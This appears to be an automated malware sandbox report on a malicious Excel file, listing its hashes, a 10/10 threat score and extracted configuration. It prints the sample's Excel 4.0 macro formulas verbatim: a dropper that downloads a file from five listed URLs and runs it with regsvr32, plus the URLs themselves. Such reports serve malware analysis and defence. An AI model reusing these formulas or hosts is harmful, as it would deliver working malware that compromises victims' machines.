General

  • Target

    8bc8cf49fbeedc947cb078798fcca23b9b1957b1ff000c23cf13d9866042d4c0

  • Size

    173KB

  • Sample

    241120-yk4tmswqen

  • MD5

    407100489bbf4382569839c2a6babf8e

  • SHA1

    fa8956fca2b711696b218621157af6991a742bc8

  • SHA256

    8bc8cf49fbeedc947cb078798fcca23b9b1957b1ff000c23cf13d9866042d4c0

  • SHA512

    07a6526697a7155ec365e93c79fb9504eb63c612634578873aa0b7909ff3a877570c81446b015da0b65f19fbd461ebc6e75743542ade2e54bf670050a7bff7d1

  • SSDEEP

    3072:F8UjKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SS:F8SKwtyfsBMtuqBqBqrhyqBqBqBqrhyk

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/

https://nuugebeya.com/wp-content/LqCYYSBQ/

https://larassatistore.com/mail.tie-collection.my.id/SZZ0/

https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/

https://vendedoramigo.com.br/wp-admin/tfQwLyk4/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuugebeya.com/wp-content/LqCYYSBQ/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://larassatistore.com/mail.tie-collection.my.id/SZZ0/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vendedoramigo.com.br/wp-admin/tfQwLyk4/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/

xlm40.dropper

https://nuugebeya.com/wp-content/LqCYYSBQ/

xlm40.dropper

https://larassatistore.com/mail.tie-collection.my.id/SZZ0/

xlm40.dropper

https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/

xlm40.dropper

https://vendedoramigo.com.br/wp-admin/tfQwLyk4/

Targets

    • Target

      8bc8cf49fbeedc947cb078798fcca23b9b1957b1ff000c23cf13d9866042d4c0

    • Size

      173KB

    • MD5

      407100489bbf4382569839c2a6babf8e

    • SHA1

      fa8956fca2b711696b218621157af6991a742bc8

    • SHA256

      8bc8cf49fbeedc947cb078798fcca23b9b1957b1ff000c23cf13d9866042d4c0

    • SHA512

      07a6526697a7155ec365e93c79fb9504eb63c612634578873aa0b7909ff3a877570c81446b015da0b65f19fbd461ebc6e75743542ade2e54bf670050a7bff7d1

    • SSDEEP

      3072:F8UjKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SS:F8SKwtyfsBMtuqBqBqrhyqBqBqBqrhyk

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks